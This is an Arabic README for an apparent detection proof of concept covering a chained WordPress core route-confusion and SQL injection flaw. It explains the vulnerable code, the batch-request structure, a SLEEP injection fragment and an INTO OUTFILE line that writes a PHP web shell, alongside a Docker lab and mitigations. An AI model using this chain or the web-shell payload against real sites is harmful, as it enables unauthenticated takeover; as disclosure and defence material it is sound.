
ثغرة RCE قبل المصادقة في نواة ووردبريس عبر الالتباس في مسار دُفعات REST API + ثغرة SQLi في WP_Query (CVE-2026-63030 / CVE-2026-60137). PoC للكشف.
قبل المصادقة — بدون مصادقة — ولا يتطلب أي إضافات. يعمل ضد تثبيت WordPress افتراضي عبر نقطة نهاية الدُفعات في REST API.
| CVE | CVE-2026-63030 (التباس المسار → RCE) + CVE-2026-60137 (حقن SQL) |
| GHSA | GHSA-ff9f-jf42-662q · GHSA-fpp7-x2x2-2mjf |
| المكتشف | Adam Kues — Assetnote / Searchlight Cyber (أُطلق عليها اسم "wp2shell") |
| الإصدارات المتأثرة | WordPress 6.9.0 – 6.9.4، 7.0.0 – 7.0.1 (سلسلة RCE كاملة) · 6.8.0 – 6.8.5 (حقن SQL فقط) |
| الإصدار المُصحَّح | 6.8.6، 6.9.5، 7.0.2، 7.1-beta2 |
| CVSS | حرِج (سلسلة RCE) / متوسط (حقن SQL منفردًا) |
| مدوّنة الباحث | https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/ |
ثغرتان في نواة WordPress، يمكن ربطهما معًا لتحقيق تنفيذ تعليمات برمجية عن بُعد بدون مصادقة:
WP_Query عندما تكون author__not_in نصًا (string) بدلاً من مصفوفة (array) — يتم تخطّي حارس التنقية is_array() ويتم إقحام القيمة الخام في جملة NOT IN (...).WP_REST_Server::serve_batch_request_v1() — يتم دفع الطلبات الفرعية من نوع WP_Error إلى $validation[] ولكن ليس إلى $matches[]، مما يسبب إزاحة مؤشر بمقدار +1. ونتيجةً لذلك، يتم إرسال الطلب الفرعي i مع معالج الطلب الفرعي i+1.لا تكفي أي من الثغرتين بمفردها: فـ REST API ينقّي author_exclude (type: array, items: integer) قبل وصوله إلى WP_Query، كما أن نقطة نهاية الدُفعات ترفض الطلبات الفرعية من نوع GET (enum: POST, PUT, PATCH, DELETE). وربطهما معًا عبر التباس مزدوج يتجاوز كلا الدفاعين ويصل إلى حقن SQL بدون مصادقة.
src/wp-includes/class-wp-query.php (CVE-2026-60137)الإصدار المصاب (6.9.4):
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) { // string → skipped
$query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
sort( $query_vars['author__not_in'] );
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}
عندما تكون author__not_in نصًا، يتم تخطّي فرع is_array()؛ وتُقيَّم (array) "payload" إلى ["payload"]؛ وتُعيد implode(',', ...) النص الخام الذي يُقحَم مباشرةً في استعلام SQL.
الإصلاح (6.9.5): استخدام wp_parse_id_list() التي تقبل أي شكل من أشكال الإدخال وتُعيد قائمة أعداد صحيحة منقّاة.
src/wp-includes/rest-api/class-wp-rest-server.php (CVE-2026-63030)// Validation loop
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) {
$has_error = true;
// ❌ $matches[] NOT appended
$validation[] = $single_request;
continue;
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
...
}
// Dispatch loop — indexes $matches[$i] with the ORIGINAL $i
foreach ( $requests as $i => $single_request ) {
...
$match = $matches[ $i ]; // ← off-by-one after a WP_Error
list( $route, $handler ) = $match;
$result = $this->respond_to_request( $single_request, $route, $handler, $error );
}
طلب فرعي واحد من نوع WP_Error (مثل مسار غير صالح) في الموضع 0 يُزيح كل الإدخالات التالية بمقدار واحد. وعندها يُرسَل الطلب i مع معالج الطلب i+1.
الإصلاح (6.9.5): إلحاق $matches[] = $single_request; في حالة الخطأ أيضًا. كما يضيف تحصين إضافي (hardening) توقّفًا مبكرًا لـ rest_api_loaded() / serve_request() بينما يكون الإرسال قيد التنفيذ بالفعل.
┌──────────────────────────────────────────────────────────────────────┐
│ OUTER batch (POST /wp-json/batch/v1) │
│ │
│ [0] path = "http://" → WP_Error, NOT in $matches │
│ [1] path = "/wp/v2/categories" → carries nested batch in body │
│ body = { "name": "x", │
│ "requests": [ INNER_BATCH ] } │
│ Validated against categories → "requests" field untouched │
│ [2] path = "/batch/v1" → batch handler → shifts onto [1] │
│ │
│ Outer shift: request[1] dispatched with request[2]'s handler = │
│ serve_batch_request_v1. The batch endpoint has NO │
│ permission_callback → fires unauthenticated. request[1]'s body │
│ was validated against the *categories* route, so the nested │
│ sub-requests were NEVER checked against the batch method enum → │
│ inner sub-requests may use GET. │
├──────────────────────────────────────────────────────────────────────┤
│ INNER batch (processed inside serve_batch_request_v1) │
│ │
│ [0] path = "http://" → WP_Error, NOT in $matches │
│ [1] GET /wp/v2/categories │
│ ?author_exclude=<SQLi_PAYLOAD> │
│ Validated against categories → author_exclude NOT sanitised │
│ [2] GET /wp/v2/posts → get_items handler → shifts to [1]│
│ │
│ Inner shift: inner[1] dispatched with inner[2]'s handler = │
│ WP_REST_Posts_Controller::get_items. The unsanitised string │
│ author_exclude is mapped to author__not_in and passed to │
│ WP_Query → SQL INJECTION. │
└──────────────────────────────────────────────────────────────────────┘
جزء SQL الناتج هو:
AND wp_posts.post_author NOT IN ( 1) OR SLEEP(N)-- - )
يتم تنفيذ SLEEP(N) مرة واحدة لكل صف مقالة مطابق، لذا يكون التأخير الإجمالي حوالي N × <عدد_المقالات_المنشورة> ثانية.
حقن SELECT فقط (بدون استعلامات متراصة (stacked queries)، إذ يستخدم $wpdb الدالة mysqli_query) ما زال يحقق RCE على حزم LAMP النموذجية عندما يمتلك مستخدم MySQL صلاحية FILE — وهو الإعداد الافتراضي لدى العديد من مزوّدي الاستضافة المشتركة والخوادم المُدارة ذاتيًا:
1) UNION SELECT 0x3C3F70687020...3F3E INTO OUTFILE '/var/www/html/x.php'/*
يكتب قشرة ويب PHP في جذر الويب، يمكن الوصول إليها عبر /x.php.
تشمل المسارات البديلة (بدون الحاجة إلى صلاحية FILE) قراءة تجزئة كلمة مرور المدير عبر حقن SQL أعمى بـ UNION/منطقي (boolean) وتحميل إضافة خبيثة من خلال واجهة لوحة الإدارة المُوثَّقة.
usage: poc_wp_batch_sqli.py [-h] -t TARGET [--sleep SLEEP]
[--confusion-only] [--no-color] [-v]
ينفّذ إثبات المفهوم اختبارين غير مُدمِّرين:
| الاختبار | الطريقة | آمن؟ |
|---|---|---|
| التباس المسار (CVE-2026-63030) |
# basic usage
python3 poc_wp_batch_sqli.py -t http://target/
# shorter SLEEP for faster triage
python3 poc_wp_batch_sqli.py -t http://target/ --sleep 3
# structural route-confusion test only (no SLEEP)
python3 poc_wp_batch_sqli.py -t http://target/ --confusion-only
# verbose / no colour
python3 poc_wp_batch_sqli.py -t http://target/ -v --no-color
مثال على المخرجات ضد نسخة 6.9.4 مصابة:
[+] CONFIRMED — inner request[1] (categories) returned POSTS data.
Double confusion active: outer level bypasses batch method enum,
inner level dispatches categories params with the posts handler.
[*] Time-based blind SQLi detection (SLEEP=3s)
baseline: 0.04s
payload: 9.07s (Δ +9.02s)
[+] VULNERABLE — response delayed by 9.0s (≈ 3 post row(s) × SLEEP(3)).
لا تأخير / لا التباس بنيوي ⇒ مُصحَّح (6.8.6 / 6.9.5 / 7.0.2).
requests (pip install requests)أسهل طريقة لإعادة الإنتاج هي استخدام صور Docker الرسمية (سيكون المحدّث التلقائي قد صحّح معظم المواقع المباشرة خلال ساعات من الإفصاح):
docker network create wp
docker run -d --name wp-db --network wp \
-e MARIADB_ROOT_PASSWORD=wp -e MARIADB_DATABASE=wp \
-e MARIADB_USER=wp -e MARIADB_PASSWORD=wp mariadb:11
docker run -d --name wp-app --network wp -p 8888:80 \
-e WORDPRESS_DB_HOST=wp-db -e WORDPRESS_DB_USER=wp \
-e WORDPRESS_DB_PASSWORD=wp -e WORDPRESS_DB_NAME=wp \
wordpress:6.9.4-php8.2
# run the installer (or use wp-cli)
curl "http://localhost:8888/wp-admin/install.php?step=2" \
--data-urlencode weblog_title=T \
--data-urlencode user_name=admin \
--data-urlencode admin_password=adminpassword123 \
--data-urlencode admin_password2=adminpassword123 \
--data-urlencode pw_weak=1 \
--data-urlencode [email protected] \
--data-urlencode blog_public=0
python3 poc_wp_batch_sqli.py -t http://localhost:8888/ --sleep 3
لخطوة INTO OUTFILE → RCE، امنح صلاحية FILE وتأكد من أن عملية قاعدة البيانات يمكنها الكتابة في جذر الويب (خادم LAMP أحادي، أو مجلد مشترك في Docker):
GRANT FILE ON *.* TO 'wp'@'%';
WP_AUTO_UPDATE_CORE)، لذا فإن معظم المواقع المباشرة مُصحَّحة بالفعل.POST /wp-json/batch/v1POST /index.php?rest_route=/batch/v1FILE من مستخدم قاعدة بيانات WordPress:
REVOKE FILE ON *.* FROM 'wp_user'@'%';
secure_file_priv (وليس فارغًا):
secure_file_priv = /var/lib/mysql-files
| التاريخ | الحدث |
|---|---|
| 2026-07-17 | إصدار WordPress 6.8.6 / 6.9.5 / 7.0.2 |
| 2026-07-17 | نشر GHSA-ff9f-jf42-662q + GHSA-fpp7-x2x2-2mjf |
| 2026-07-17 | Assetnote / Searchlight Cyber تنشر استشارة "wp2shell" + أداة الفحص https://wp2shell.com |
src/wp-includes/class-wp-query.phpsrc/wp-includes/rest-api.phpsrc/wp-includes/rest-api/class-wp-rest-server.phpيحتوي هذا المستودع على إثبات مفهوم للكشف فقط — يستخدم حقن SQL أعمى زمني وفحصًا بنيويًا للاستجابة. وهو لا يستخرج البيانات ولا يكتب ملفات ولا يحاول تنفيذ RCE. لقد سبق تصحيح الثغرة والإفصاح عنها علنًا من قبل WordPress والباحث الأصلي قبل نشر هذا الكود.
لا تستخدمه إلا ضد الأنظمة التي تملكها أو المخوَّل لك اختبارها.
MIT — راجع LICENSE.
| بنيوي — يتحقق من أن الطلب الفرعي الداخلي [1] (categories) يُرسَل مع معالج المقالات (posts) عبر فحص جسم الاستجابة بحثًا عن حقول خاصة بالمقالات فقط |
| نعم |
| حقن SQL (CVE-2026-60137) | أعمى زمني — يحقن SLEEP(N) عبر author_exclude ويقيس زمن الاستجابة مقارنةً بخط أساس سليم | نعم |